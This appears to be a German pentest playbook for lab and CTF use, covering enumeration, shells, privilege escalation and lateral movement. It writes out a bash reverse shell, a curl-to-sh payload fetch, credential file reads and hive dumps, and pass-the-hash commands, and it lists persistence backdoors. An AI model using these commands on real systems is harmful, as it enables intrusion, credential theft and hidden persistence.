Pentest · published

Pentest Playbook

Mein Pentest Playbook

LinuxWindowsPlaybookPentest

1. Nmap Enumeration

Quick Scan

nmap -p- --min-rate 10000 -T4 -v -n <IP> -oA nmap/initial-scan

Port Export

grep '^[0-9]' "nmap/initial-scan.nmap" \
  | cut -d'/' -f1 \
  | tr '\n' ',' \
  | sed 's/,$//' > "nmap/ports.txt"

Service Scan

nmap -sC -sV -vvv -p $(cat nmap/ports.txt) <IP> -oA nmap/service_deep
nmap -sC -sV -vvv -p- <IP> -oA nmap/<IP>

Deep Scan mit Liste

nmap -sC -sV -vvvv -p- -iL hosts.txt -oA recon/nmap/hosts_service

Vuln Scan

nmap --script vuln -p $(cat nmap/ports.txt) <IP> -oN nmap/vuln.nmap
nmap --script exploit -p $(cat nmap/ports.txt) <IP> -oN nmap/exploit.nmap


2. Services Untersuchen (manuell)

smb

smbclient -L //<IP> -N
smbmap -H <IP>
netexec smb <IP> -u '' -p '' --shares
enum4linux -a <IP>

ftp

ftp <IP>
#download all
wget -r -np ftp://172.16.1.201/ -P recon/ftp/

web

whatweb <IP>
nikto -h <IP>
gobuster dir -u http://<IP> -w /usr/share/wordlist/SecLists/Discovery/Web-Content/raft-medium-directories.txt
ffuf -u http://<IP>/FUZZ -w /usr/share/wordlist/Seclists/Discovery/Web-Content/raft-medium-files.txt

ssh

nc <IP> 22

DNS

dig @<IP> any domain.local
dig axfr friendzone.red @10.129.6.174

rdp

nmap -p 3389 --script rdp-enum-encryption <IP>

snmp

snmpwalk -v1 -c public <IP>
snmpwalk -v2c -c public <IP>

msrpc

rpcclient -U "" <IP>

MySQL / MSSQL

mysql -h <IP> -u root
crackmapexec mssql <IP>

winrm 5985

evil-winrm -i eighteen.htb -u user -p 'Passwort'
netexec winrm 10.129.213.133 -u user -p pass

ldap / ad

ldapsearch -x -H ldap://<IP> -s base -b "" "(objectClass=*)" "*" +


3. Dir/File Enumeration für Web Services

ffuf fuzzing

ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

gobuser scan

gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt

Techstack

whatweb <IP>
wappalyzer (Browser)

Parameter Fuzzing

ffuf -u http://<IP>/search?FUZZ=test -w /usr/share/seclists/Fuzzing/parameters.txt


5. Shell Catcher / Reverse Shell (Universal)

revshell

https://www.revshells.com/

Payload Datei erzeugen

echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" > rev.sh

Mini Webserver starten

python3 -m http.server 80

Listener starten

nc -lvnp <PORT>

Victim holt Payload

curl http://<ATK-IP>/rev.sh | sh


6. Shell Stabilisieren (Linux)

Shell stabilisieren mit Python

which python; which python3
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo ; fg

Shell stabilisieren mit script

script -qc /bin/bash /dev/null      # ← statt python pty.spawn
export TERM=xterm                   # ← in der revshell
Ctrl+Z                              # ← backgrounden
stty raw -echo; fg                  # ← auf deiner Kali


7. Post-Exploitation

Grundlegende Systeminfos

id
uname -a
hostname
whoami
sudo -l

Netzwerk + Prozesse

ifconfig / ip a
netstat -tulnp
ps aux

Sensitive Dateien finden

find / -name "*.conf" 2>/dev/null
find / -name "*pass*" 2>/dev/null
grep -Ri "password" / 2>/dev/null


8. Privilege Escalation (Linux)

SUID Binaries

find / -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null

Suche nach world-writable

find / -type f -perm -0002 ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null

Cronjobs

cat /etc/crontab
ls -la /etc/cron.d/

Capabilities

getcap -r / 2>/dev/null

Misconfigs (LinPEAS) https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

wget <YOUR-IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

oder 
bash linpeas.sh

Tools (linPEAS, LinENUM, LSE, AutoPrivEsc)



9. Privilege Escalation (Windows)

Systeminfo

systeminfo
whoami /groups
whoami /priv

Unquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i "Auto"

DLL Hijacking

Check writeable paths:

icacls "C:\Program Files\Example\"

Running winPEAS.ps1

powershell -ExecutionPolicy Bypass -File C:\temp\winPEAS.ps1 > C:\temp\peas.txt

Running winPEAS.exe

https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe

/media/psf/Kali/tools/winpeas/winPEASany_ofs.exe

Tools (winPEAS, Seatbelt, SharpUp, PowerUp, PrivescCheck.ps1)



10. Credential Harvesting

Linux

cat /etc/shadow
grep -Ri "password" /
cat ~/.ssh/id_rsa

Windows

- Mimikatz / Invoke-Mimikatz
- LSASS dump
reg save hklm\system C:\temp\sys
reg save hklm\sam C:\temp\sam


11. Lateral Movement (Win & Linux)

  • SSH reuse
  • SMB exec
  • PsExec
  • WMI
  • WinRM
  • RDP
  • Reuse dumped hashes (Pass-The-Hash)

Beispiel:

crackmapexec smb <IP> -u user -H <HASH> --exec-method psexec


12. Persistence (nur bei Zustimmung!)

  • Systemd service
  • Cronjob
  • SSH Key
  • Windows Run Keys
  • Scheduled Tasks
  • Registry backdoors


13. Cleanup

  • Entfernte Dateien löschen
  • Logs prüfen
  • Rückstände von Tools entfernen
  • Keine Artefakte hinterlassen


14. Bonus - Flag Search

LINUX

find / -name flag.txt 2>/dev/null

WINDOWS CMD

dir flag.txt /s /p

WINDOWS PowerShell

1

findstr /S /I /M "FLAG_PREFIX{" C:\Users\*.txt C:\Users\*.ini C:\Users\*.log 2>$null

2

Get-ChildItem C:\Users -Recurse -Force -ErrorAction SilentlyContinue -Include *.txt,*.ini,*.log | Select-String -SimpleMatch "FLAG_PREFIX{" -List

METERPRETER

search -f  flag.txt### SEARCH FOR STRING THROUGH WHOLE MEMORY

LINUX

find . -type f -exec grep -iF "FLAG_PREFIX{" /dev/null {} +